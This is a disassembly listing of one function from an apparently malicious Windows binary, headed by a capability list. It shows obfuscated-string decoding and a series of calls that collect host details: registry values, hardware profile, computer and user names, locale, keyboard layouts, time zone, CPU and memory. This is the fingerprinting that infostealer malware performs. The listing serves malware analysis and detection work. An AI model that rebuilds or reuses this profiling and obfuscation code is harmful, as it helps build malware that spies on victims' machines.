Function at 0x40d0b0
Capabilities:
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f8ce7
push eax
mov eax, 0x1ea0
mov dword fs:[0], esp
call fcn.004bbd10
push esi
push edi
mov dword [ebp - 0x74], 0
mov dword [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x527430]
movups xmmword [ebp - 0x128], xmm0
mov byte [ebp - 0x118], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x128]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x128], al
inc ecx
cmp ecx, 0x10
jb 0x40d100
lea eax, [ebp - 0x128]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x148]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 4
xor ecx, ecx
mov word [ebp - 0x4b], 0xbda8
mov byte [ebp - 0x49], 0
movzx eax, byte [ebp + ecx - 0x4b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 2
jb 0x40d143
cmp dword [ebp - 0x134], 0x10
lea ecx, [ebp - 0x4b]
lea eax, [ebp - 0x148]
cmovae eax, dword [ebp - 0x148]
push ecx
push eax
call fcn.004d7060
mov edi, eax
add esp, 8
mov dword [ebp - 0xb0], edi
test edi, edi
je 0x40e916
call fcn.0040b6a0
test eax, eax
mov dword [ebp - 0x1a], 0xacadba89
mov ecx, 0x20119
mov dword [ebp - 0x16], 0xe5b1b0b6
setne byte [ebp - 0x25]
mov dword [ebp - 0x12], 0xd5acfaff
test eax, eax
mov word [ebp - 0xe], 0xd5
mov esi, 0x20019
mov edx, 0x53c0e8
cmovne esi, ecx
cmp dword [0x53c0fc], 0x10
mov dword [ebp - 0x54], esi
cmovae edx, dword [0x53c0e8]
xor ecx, ecx
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jb 0x40d1e0
push edx
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402d70
push 0
call fcn.004df4fd
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x130]
push eax
mov dword [ebp - 0x12c], edx
call fcn.004df9e5
add esp, 0x14
mov dword [ebp - 0x35], 0xbaabbe9b
mov edx, eax
mov dword [ebp - 0x31], 0xacfaffe5
mov byte [ebp - 0x2d], 0
xor ecx, ecx
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x35]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 8
jb 0x40d240
push edx
lea eax, [ebp - 0x35]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x34], 0xb1b4b18a
mov dword [ebp - 0x30], 0xb1a8b0
xor ecx, ecx
movzx eax, byte [ebp + ecx - 0x34]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x40d273
xorps xmm0, xmm0
mov dword [ebp - 0xf4], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0xf0], 0
movups xmmword [ebp - 0x104], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d2b0
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.00402aa0
mov byte [ebp - 4], 5
xor ecx, ecx
movaps xmm0, xmmword [0x527740]
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0xd0], 0
movaps xmm0, xmmword [0x526f00]
movups xmmword [ebp - 0x88], xmm0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x98]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x98], al
inc ecx
cmp ecx, 0x1f
jb 0x40d300
lea eax, [ebp - 0xd0]
push eax
push esi
push 0
lea eax, [ebp - 0x98]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d3cf
mov dword [ebp - 0x48], 0x20019
xor ecx, ecx
mov dword [ebp - 0x2c], 0x400
mov dword [ebp - 0x38], 0xb7bcbe92
mov dword [ebp - 0x34], 0x98bab1b6
mov dword [ebp - 0x30], 0xbbb6aa
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xb
jb 0x40d364
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0xd0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d3c3
lea ecx, [ebp - 0x9a0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d3a7
sub ecx, edx
lea eax, [ebp - 0x9a0]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.0045fba0
push dword [ebp - 0xd0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xf0], 0x10
lea edx, [ebp - 0x104]
mov dword [ebp - 0x1b], 0xb7bcbe92
cmovae edx, dword [ebp - 0x104]
xor ecx, ecx
mov dword [ebp - 0x17], 0x96bab1b6
mov dword [ebp - 0x13], 0xfaffe59b
mov word [ebp - 0xf], 0xd5ac
mov byte [ebp - 0xd], 0
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40d404
push edx
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x34], 0xb1b4b18a
mov dword [ebp - 0x30], 0xb1a8b0
xor ecx, ecx
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x34]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x40d440
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0xd8], 0
movups xmmword [ebp - 0xec], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d480
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.00402aa0
mov byte [ebp - 4], 6
lea eax, [ebp - 0x2fc]
push 0x7c
push 0
push eax
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0x2fc]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x40d4ec
lea ecx, [ebp - 0x2f8]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d4d0
sub ecx, edx
lea eax, [ebp - 0x2f8]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.0045fba0
cmp dword [ebp - 0xd8], 0x10
lea edx, [ebp - 0xec]
mov dword [ebp - 0x36], 0x9b968a98
cmovae edx, dword [ebp - 0xec]
xor ecx, ecx
mov dword [ebp - 0x32], 0xacfaffe5
mov word [ebp - 0x2e], 0xd5
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x36]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 9
jb 0x40d520
push edx
lea eax, [ebp - 0x36]
push eax
push edi
call fcn.00402d70
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.0040c5e0
mov esi, eax
mov byte [ebp - 4], 7
push 0xffffffffffffff80
mov byte [ebp - 0x45], 0
call fcn.00461130
lea ecx, [ebp - 0x240]
mov byte [ebp - 0x46], al
call fcn.0040c540
mov dword [ebp - 0x30], eax
mov byte [ebp - 4], 8
mov al, byte [ebp - 0x46]
mov byte [ebp - 0x29], 0
mov byte [ebp - 0x2a], al
mov byte [ebp - 0x75], 0
mov byte [ebp - 0x76], al
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x76]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d590
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xf4]
sub eax, edx
cmp eax, ecx
jb 0x40ea49
cmp dword [ebp - 0xf0], 0x10
lea eax, [ebp - 0x104]
push ecx
cmovae eax, dword [ebp - 0x104]
lea ecx, [ebp - 0x76]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x1f8]
call fcn.004680d0
mov dword [ebp - 0x74], 2
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xec]
cmp dword [ebp - 0xd8], 0x10
lea ecx, [ebp - 0x1f8]
push dword [ebp - 0xdc]
cmovae eax, dword [ebp - 0xec]
push eax
call fcn.004623f0
mov dword [ebp - 0x60], 0
lea edx, [ebp - 0x70]
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x228]
xorps xmm0, xmm0
mov dword [ebp - 0x74], 6
movups xmmword [ebp - 0x70], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x70], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x60], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2a]
push eax
call fcn.004641d0
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x24]
push dword [ebp - 0x30]
push eax
push dword [ebp - 0xb4]
call fcn.00467f00
lea eax, [ebp - 0x46]
mov dword [ebp - 0x74], 0xe
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x210]
call fcn.004641d0
mov byte [ebp - 4], 0xd
mov edx, eax
push esi
lea ecx, [ebp - 0x160]
call fcn.00464440
add esp, 8
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x210]
call fcn.00402890
mov esi, 0xe
mov dword [ebp - 0x74], esi
and esi, 0xfffffff7
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x24]
call fcn.00402890
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x228]
call fcn.00402890
and esi, 0xfffffffb
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x40d719
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40d70f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ea4e
push ecx
push edx
call fcn.004bafb1
add esp, 8
and esi, 0xfffffffd
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1f8]
call fcn.00402890
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x240]
call fcn.00402890
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x90]
call fcn.00402890
xorps xmm0, xmm0
mov byte [ebp - 0x19c], 0
lea ecx, [ebp - 0x5a0]
movups xmmword [ebp - 0x1bc], xmm0
movups xmmword [ebp - 0x1ac], xmm0
call fcn.0047d210
cmp dword [ebp - 0x14c], 0x10
lea eax, [ebp - 0x160]
push dword [ebp - 0x150]
cmovae eax, dword [ebp - 0x160]
push eax
call fcn.0047d220
push ecx
lea ecx, [ebp - 0x5a0]
call fcn.0047d2f0
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x5a0]
call fcn.0047d3c0
mov dword [ebp - 0x36], 0x9b968897
xor ecx, ecx
mov dword [ebp - 0x32], 0xacfaffe5
mov word [ebp - 0x2e], 0xd5
movzx eax, byte [ebp + ecx - 0x36]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 9
jb 0x40d7d5
lea eax, [ebp - 0x1bc]
push eax
lea eax, [ebp - 0x36]
push eax
push edi
call fcn.00402d70
push 0x104
lea eax, [ebp - 0xaa4]
push 0
push eax
call fcn.004d31f0
add esp, 0x18
lea eax, [ebp - 0xaa4]
push 0x104
push eax
call fcn.0040c340
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x37], 0xabbe8fd5
xor ecx, ecx
mov dword [ebp - 0x33], 0xfaffe5b7
mov word [ebp - 0x2f], 0xd5ac
mov byte [ebp - 0x2d], 0
movzx eax, byte [ebp + ecx - 0x37]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xa
jb 0x40d843
lea eax, [ebp - 0xaa4]
push eax
lea eax, [ebp - 0x37]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x1b], 0xb4adb088
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
mov dword [ebp - 0x17], 0xadb69bff
cmovae edx, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0x13], 0xacfaffe5
mov word [ebp - 0xf], 0xd5d5
mov byte [ebp - 0xd], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40d8a0
push edx
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
cmp dword [ebp + 0x60], 0
je 0x40d8d6
cmp dword [ebp + 0x64], 0x10
lea edx, [ebp + 0x50]
cmovae edx, dword [ebp + 0x50]
jmp 0x40d8db
mov edx, 0x521820
mov dword [ebp - 0x34], 0xffe58f96
xor ecx, ecx
mov dword [ebp - 0x30], 0xd5acfa
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x34]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x40d8f0
push edx
lea eax, [ebp - 0x34]
push eax
push edi
call fcn.00402d70
add esp, 0xc
cmp dword [ebp + 0x48], 0
je 0x40d926
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
cmovae edx, dword [ebp + 0x38]
jmp 0x40d92b
mov edx, 0x521820
cmp dword [ebp + 0x30], 0
je 0x40d93e
cmp dword [ebp + 0x34], 0x10
lea esi, [ebp + 0x20]
cmovae esi, dword [ebp + 0x20]
jmp 0x40d943
mov esi, 0x521820
movaps xmm0, xmmword [0x527600]
xor ecx, ecx
movups xmmword [ebp - 0x6a], xmm0
mov word [ebp - 0x5a], 0xd5
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x6a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x6a], al
inc ecx
cmp ecx, 0x11
jb 0x40d960
push edx
push esi
lea eax, [ebp - 0x6a]
push eax
push edi
call fcn.00402d70
movaps xmm0, xmmword [0x527740]
add esp, 0x10
movups xmmword [ebp - 0xa5], xmm0
xor ecx, ecx
mov dword [ebp - 0xc4], 0
movaps xmm0, xmmword [0x5273b0]
movups xmmword [ebp - 0x95], xmm0
mov dword [ebp - 0x85], 0xb1baadad
mov dword [ebp - 0x81], 0xadba89ab
mov dword [ebp - 0x7d], 0xb1b0b6ac
mov byte [ebp - 0x79], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xa5]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xa5], al
inc ecx
cmp ecx, 0x2c
jb 0x40d9d0
lea eax, [ebp - 0xc4]
push eax
push dword [ebp - 0x54]
lea eax, [ebp - 0xa5]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40db16
mov dword [ebp - 0x30], 0x20019
xor ecx, ecx
mov dword [ebp - 0x54], 0x400
mov dword [ebp - 0x18], 0xbbb0ad8f
mov dword [ebp - 0x14], 0x91abbcaa
mov dword [ebp - 0x10], 0xbab2be
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xb
jb 0x40da40
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40db0a
xor ecx, ecx
cmp byte [ebp - 0x25], cl
je 0x40daaa
mov dword [ebp - 0x2c], 0xebe9a7
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x2c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 3
jb 0x40da90
lea edx, [ebp - 0x2c]
jmp 0x40dac9
mov dword [ebp - 0x48], 0xedeca7
movzx eax, byte [ebp + ecx - 0x48]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 3
jb 0x40dab1
lea edx, [ebp - 0x48]
movaps xmm0, xmmword [0x527060]
xor ecx, ecx
movups xmmword [ebp - 0x6a], xmm0
mov word [ebp - 0x5a], 0xd5
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x6a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x6a], al
inc ecx
cmp ecx, 0x11
jb 0x40dae0
push edx
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x6a]
push eax
push edi
call fcn.00402d70
add esp, 0x10
push dword [ebp - 0xc4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xba8]
push 0
push eax
call fcn.004d31f0
add esp, 0xc
mov dword [ebp - 0xd4], 0x104
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0xba8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movaps xmm0, xmmword [0x527ec0]
xor ecx, ecx
movups xmmword [ebp - 0x6b], xmm0
mov word [ebp - 0x5b], 0xd5ac
mov byte [ebp - 0x59], 0
movzx eax, byte [ebp + ecx - 0x6b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x6b], al
inc ecx
cmp ecx, 0x12
jb 0x40db61
lea eax, [ebp - 0xba8]
push eax
lea eax, [ebp - 0x6b]
push eax
push edi
call fcn.00402d70
push 0x104
lea eax, [ebp - 0xcac]
push 0
push eax
call fcn.004d31f0
add esp, 0x18
mov dword [ebp - 0xb4], 0x104
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0xcac]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x1b], 0xadbaac8a
xor ecx, ecx
mov dword [ebp - 0x17], 0xb2be91ff
mov dword [ebp - 0x13], 0xfaffe5ba
mov word [ebp - 0xf], 0xd5ac
mov byte [ebp - 0xd], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40dbe0
lea eax, [ebp - 0xcac]
push eax
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x188]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm0, xmmword [0x527950]
xor ecx, ecx
movups xmmword [ebp - 0x93], xmm0
mov dword [ebp - 0x83], 0xffe5b1b0
mov dword [ebp - 0x7f], 0xfaa7bbfa
mov word [ebp - 0x7b], 0xd5bb
mov byte [ebp - 0x79], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x93]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x1a
jb 0x40dc50
push dword [ebp - 0x17c]
lea eax, [ebp - 0x93]
push dword [ebp - 0x180]
push eax
push edi
call fcn.00402d70
push 0x400
lea eax, [ebp - 0x12ac]
push 0
push eax
call fcn.004d31f0
add esp, 0x1c
lea eax, [ebp - 0x12ac]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
movaps xmm0, xmmword [0x527b60]
xor ecx, ecx
test eax, eax
je 0x40dcfb
movups xmmword [ebp - 0x6f], xmm0
mov dword [ebp - 0x5f], 0xa8faffe5
mov word [ebp - 0x5b], 0xd5ac
mov byte [ebp - 0x59], cl
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x6f]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 0x16
jb 0x40dcd0
lea eax, [ebp - 0x12ac]
push eax
lea eax, [ebp - 0x6f]
push eax
push edi
call fcn.00402d70
add esp, 0xc
jmp 0x40dd4b
movups xmmword [ebp - 0x93], xmm0
mov dword [ebp - 0x83], 0xb18affe5
mov dword [ebp - 0x7f], 0xa8b0b1b4
mov word [ebp - 0x7b], 0xd5b1
mov byte [ebp - 0x79], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x93]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x1a
jb 0x40dd20
lea eax, [ebp - 0x93]
push eax
push edi
call fcn.00402d70
add esp, 8
movaps xmm0, xmmword [0x5279f0]
xor ecx, ecx
movups xmmword [ebp - 0x6d], xmm0
mov dword [ebp - 0x5d], 0xffe5acba
mov byte [ebp - 0x59], 0
movzx eax, byte [ebp + ecx - 0x6d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x6d], al
inc ecx
cmp ecx, 0x14
jb 0x40dd63
lea eax, [ebp - 0x6d]
push eax
push edi
call fcn.00402d70
push 0x200
lea eax, [ebp - 0xeac]
push 0
push eax
call fcn.004d31f0
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0x14
push 0
push 0
call esi
mov dword [ebp - 0x54], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x40de73
push eax
push dword [ebp - 0x54]
call esi
xor esi, esi
mov dword [ebp - 0x54], eax
test eax, eax
je 0x40de6a
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0xeac]
push eax
mov eax, dword [ebp - 0x2c]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x40de12
lea eax, [ebp - 0xeac]
push eax
push edi
call fcn.00402d70
add esp, 8
jmp 0x40de4a
mov dword [ebp - 0x32], 0xfafff0ff
xor ecx, ecx
mov word [ebp - 0x2e], 0xac
movzx eax, byte [ebp + ecx - 0x32]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 5
jb 0x40de21
lea eax, [ebp - 0xeac]
push eax
lea eax, [ebp - 0x32]
push eax
push edi
call fcn.00402d70
add esp, 0xc
push 0x200
lea eax, [ebp - 0xeac]
push 0
push eax
call fcn.004d31f0
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x54]
jb 0x40dde0
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x114]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x114], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movaps xmm0, xmmword [0x527e70]
xor ecx, ecx
movups xmmword [ebp - 0x98], xmm0
movaps xmm0, xmmword [0x526ff0]
movups xmmword [ebp - 0x88], xmm0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x98]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x98], al
inc ecx
cmp ecx, 0x1f
jb 0x40deb0
movzx eax, word [ebp - 0x108]
push eax
movzx eax, word [ebp - 0x10a]
push eax
movzx eax, word [ebp - 0x10c]
push eax
movzx eax, word [ebp - 0x114]
push eax
movzx eax, word [ebp - 0x112]
push eax
movzx eax, word [ebp - 0x10e]
push eax
lea eax, [ebp - 0x98]
push eax
push edi
call fcn.00402d70
add esp, 0x20
lea eax, [ebp - 0x198]
xorps xmm0, xmm0
movups xmmword [ebp - 0x198], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x3a8]
push 0
push eax
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0x3a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x128]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x3a8]
push eax
movups xmmword [ebp - 0x128], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm1, dword [ebp - 0x3a8]
xor ecx, ecx
cvtdq2ps xmm1, xmm1
mov byte [ebp - 0x59], 0
movaps xmm0, xmmword [0x527db0]
divss xmm1, dword [0x525ac0]
movups xmmword [ebp - 0x69], xmm0
xorps xmm1, xmmword [0x527030]
movzx eax, byte [ebp + ecx - 0x69]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x69], al
inc ecx
cmp ecx, 0x10
jb 0x40df95
cvttss2si eax, xmm1
push eax
lea eax, [ebp - 0x69]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x19], 0xbe9784d5
mov dword [ebp - 0x15], 0xbea8bbad
xor ecx, ecx
mov dword [ebp - 0x11], 0xd582baad
mov byte [ebp - 0xd], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0xc
jb 0x40dfe0
lea eax, [ebp - 0x19]
push eax
push edi
call fcn.00402d70
movaps xmm0, xmmword [0x527180]
add esp, 8
movups xmmword [ebp - 0xa7], xmm0
xor ecx, ecx
mov dword [ebp - 0xc8], 0
movaps xmm0, xmmword [0x527450]
movups xmmword [ebp - 0x97], xmm0
mov dword [ebp - 0x87], 0x8fb3bead
mov dword [ebp - 0x83], 0xbabcb0ad
mov dword [ebp - 0x7f], 0xadb0acac
mov word [ebp - 0x7b], 0xef83
mov byte [ebp - 0x79], 0
nop
movzx eax, byte [ebp + ecx - 0xa7]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xa7], al
inc ecx
cmp ecx, 0x2e
jb 0x40e050
lea eax, [ebp - 0xc8]
push eax
push 0x20019
push 0
lea eax, [ebp - 0xa7]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e145
movaps xmm0, xmmword [0x527640]
xor ecx, ecx
mov dword [ebp - 0x30], 0x20019
mov dword [ebp - 0x54], 0x400
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0xb8b1b6
movzx eax, byte [ebp + ecx - 0x6c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x6c], al
inc ecx
cmp ecx, 0x13
jb 0x40e0b5
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e139
mov dword [ebp - 0x1b], 0xbcb0ad8f
xor ecx, ecx
mov dword [ebp - 0x17], 0xb0acacba
mov dword [ebp - 0x13], 0xfaffe5ad
mov word [ebp - 0xf], 0xd5ac
mov byte [ebp - 0xd], al
nop
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40e110
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x1c0], 0
lea eax, [ebp - 0x1e0]
push eax
movups xmmword [ebp - 0x1e0], xmm0
movups xmmword [ebp - 0x1d0], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x1b], 0xff8a8f9c
xor ecx, ecx
mov dword [ebp - 0x17], 0xb1aab09c
mov dword [ebp - 0x13], 0xfaffe5ab
mov word [ebp - 0xf], 0xd5bb
mov byte [ebp - 0xd], 0
nop
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40e190
push dword [ebp - 0x1cc]
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x280], 0x40
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x40e227
mov dword [ebp - 0x18], 0xe5929e8d
xor ecx, ecx
mov dword [ebp - 0x14], 0xffaafaff
mov dword [ebp - 0x10], 0xd59d92
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xb
jb 0x40e1f0
mov ecx, dword [ebp - 0x278]
mov eax, dword [ebp - 0x274]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x18]
push eax
push edi
call fcn.00402d70
add esp, 0x10
mov dword [ebp - 0xc0], 0
